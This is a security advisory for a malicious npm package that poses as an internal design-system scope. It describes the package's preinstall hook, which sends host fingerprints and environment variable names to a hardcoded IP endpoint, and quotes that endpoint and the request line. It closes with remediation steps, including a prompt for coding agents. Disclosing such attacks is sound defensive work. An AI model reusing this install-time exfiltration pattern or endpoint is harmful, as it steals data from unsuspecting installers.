# MAL-2026-3653: Malicious code in @design-system-coopeuch/web (npm)


- **Type:** Malicious package
- **Package:** `@design-system-coopeuch/web` (npm)
- **Published:** 13 May 2026
- **Also known as:** GHSA-vhjp-6vjm-vq35

## What is MAL-2026-3653?

MAL-2026-3653 is a malicious package in @design-system-coopeuch/web, published on 13 May 2026. 

### Official description

Package `@design-system-coopeuch/web@999.0.4` is a dependency-confusion squat of an internal-looking scope, published at an inflated 999.x version to override any private registry copy. `package.json` declares a `preinstall` hook that runs `cb.js`, which collects installer host identifiers (`os.hostname()`, cwd, install directory, `id`, `uname -a`, OS release info, and the full list of `process.env` key names) and POSTs them as JSON over cleartext HTTP to a hardcoded bare IP, `http://157.173.126.113:8443/dep-confusion` (cb.js line 20: `hostname: "157.173.126.113", port: 8443, path: "/dep-confusion", method: "POST"`). The beacon fires automatically on `npm install` without user consent. Although the package description self-labels as an "authorized bug bounty PoC," any unintended installer has their host fingerprint exfiltrated to an attacker-controlled endpoint. The combination of internal-scope impersonation, inflated version, and install-time beacon to a bare IP is the canonical dependency-confusion attack shape.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

The OpenSSF Package Analysis project identified '@design-system-coopeuch/web' @ 999.0.0 (npm) as malicious.

It is considered malicious because:

- The package executes one or more commands associated with malicious behavior.

## What should I do about MAL-2026-3653?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-3653 is a malicious package: @design-system-coopeuch/web (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-3653/ (Markdown: https://insights.sbomify.com/MAL-2026-3653/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-3653

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-3653/
Summaries are generated and may contain mistakes; the official description above is the record.